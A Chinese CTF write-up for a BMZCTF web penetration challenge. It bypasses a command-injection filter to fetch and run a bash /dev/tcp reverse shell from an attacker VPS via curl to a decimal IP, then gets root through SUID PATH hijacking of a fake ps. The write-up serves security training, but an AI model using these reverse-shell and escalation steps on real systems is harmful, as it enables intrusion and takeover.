BMZCTF WEB WEB_penetration
打开网页:
发现过滤了很多字母和字符:
b,d,e,-,q,f,g,i,p,j,+,k,m,n,<,>,o,w,x,~,:,^,@,&,,%,",*,(,),!,=,.,[,],},{,_);
致使我们好多命令都无法操作。最后观察至curl
没有被过滤。
我们就可以设置好VPS,使用VPS反弹shell
设置VPS的首页为:
bash -c "bash -i >& /dev/tcp/IP地址/5555 0>&1"
在VPS上打开web服务,如果没有apache或其他中间件,可以使用python:
python2:
python -m SimpleHTTPServer 80
python3:
python -m http.server 80
然后在vps上再打开一个终端,监听5555端口:
nc -lvnp 5555
假设我们的VPS的IP地址为123.123.123.123,因为页面过滤了.
,我们无法直接输入IP地址,而且长度也会超过18个。
因此,我们要将IP地址进行转换:
百度搜索下IP 十进制
随便点开一个就可以:
我们就能看到十进制的IP地址为:2071690107
我们在页面输入:?ip=curl 2071690107|sh
就能在我们的VPS上看到反弹的shell了
查看id
发现是个低权限用户:www-data
搜索flag
:
find / -name flag
没有找到。home目录下也没有用户名:
那么flag只能存在于/root目录下,因为我们没权限,所以无法搜索到。
我们要提权到root
先找下suid:
find / -user root -perm -4000 -print 2>/dev/null
发现了一个奇怪的程序:love
运行下:
返回了结果。不用任何输入。
我们将其下载,并用ida进行逆向:
发现love
是运行了ps
程序,特点有两个:
1、会将uid设为0
,也就是root
2、ps
命令没有指定是哪个目录下的。
那么我们就可以伪造ps
命令来提权。
我们在/tmp
目录下伪造ps
命令。因为/tmp
目录有可写权限(其他可写目录也可以)
cd /tmp # 进入/tmp目录
echo "/bin/bash" >ps #将payload写入ps文件
chmod 777 ps #设置可读可写可执行权限
$PATH #查看环境变量
export PATH=/tmp:$PATH #将/tmp加入环境变量,并放在第一个位置
然后我们运行love
,发现是root
权限了
现在我们就能读取flag
了
cat /root/flag
BMZCTF WEB WEB_penetration相关推荐
- 第二届BMZCTF网络安全公开赛
第二届BMZCTF网络安全公开赛 今天事情比较多,所以基本没做,上线了一会就,没做几道题 文章目录 第二届BMZCTF网络安全公开赛 Crypto DO_YOU_KNOW_IT 签到题 SIMPLE ...
- 第一届BMZCTF公开赛-MISC-Writeup
文章目录 签到题 你猜猜flag Snake Tiga Hack K 前言 首先恭喜白帽子社区团队成功举办第一届BMZCTF公开赛,我是本次比赛MISC赛题Snake.Tiga的出题人末初 以下是我写 ...
- 在k8s中使用gradle构建java web项目镜像Dockerfile
在k8s中使用gradle构建java web项目镜像Dockerfile FROM gradle:6-jdk8 AS build COPY --chown=gradle:gradle . /home ...
- 手动将web项目的class文件打成jar包,手动打jar包,java -cvf,IDE打包底层指令
手动将web项目的class文件打成jar包. 我们的项目在使用IDE进行编译后,在项目的target目录下将会生成class文件.我们可以将class文件打成jar包. 使用的到命令为: 在targ ...
- 将Eclipse中Web项目打成war包
将Eclipse中Web项目打成war包 请按如下操作即可:
- Docker安装Apache与运行简单的web服务——httpd helloworld
Docker运行简单的web服务--httpd helloworld目录[阅读时间:约5分钟] 一.Docker简介 二.Docker的安装与配置[CentOS环境] 三.Docker运行简单的web ...
- 【Golang源码分析】Go Web常用程序包gorilla/mux的使用与源码简析
目录[阅读时间:约10分钟] 一.概述 二.对比: gorilla/mux与net/http DefaultServeMux 三.简单使用 四.源码简析 1.NewRouter函数 2.HandleF ...
- 基于Golang的简单web服务程序开发——CloudGo
基于Golang的简单web服务程序开发--CloudGo[阅读时间:约10分钟] 一.概述 二.系统环境&项目介绍 1.系统环境 2.项目的任务要求 (1)基本要求 (2)扩展要求 三.具体 ...
- CentOS Docker安装配置部署Golang web helloworld
目录[阅读时间:约5分钟] 一.Docker简介 二.Docker的安装与配置[CentOS环境] 三.Docker部署Golang web helloworld 四.Docker与虚拟机的区别 五. ...
最新文章
- 2015#183;Fool#39;s Day#183;NND
- java json格式的转换和读取
- Windows程序设计之创建窗口示例
- linux之文本比较工具
- winPcap_2_编译环境*注意*
- 上学路线 (Standard IO)
- Oracle分析函数用法
- 温湿度传感器的工作原理及应用领域你了解多少呢
- WebRTC的拥塞控制和带宽策略
- 《那封08年收到的情书》
- BUUCTF 九连环
- Windows server 2019 网卡互联网检测服务
- 常见的爬虫error以及解决方法
- Git版本控制管理——Git和GitHub
- ISIS如何选举DIS的,DIS的具体作用,和OSPF的DR有什么相同和不同点。举例说明
- Beginning Auto Layout Tutorial in iOS 7: Part 2
- 中富金石马力老师:2022年中央一号文件发布 时隔多年重提加强粮库建设
- 学习代码要先学会“学习”
- Postgresql在线分区插件之pg_rewrite使用
- 音视频开发之旅(51)-M3U8边缓存边播放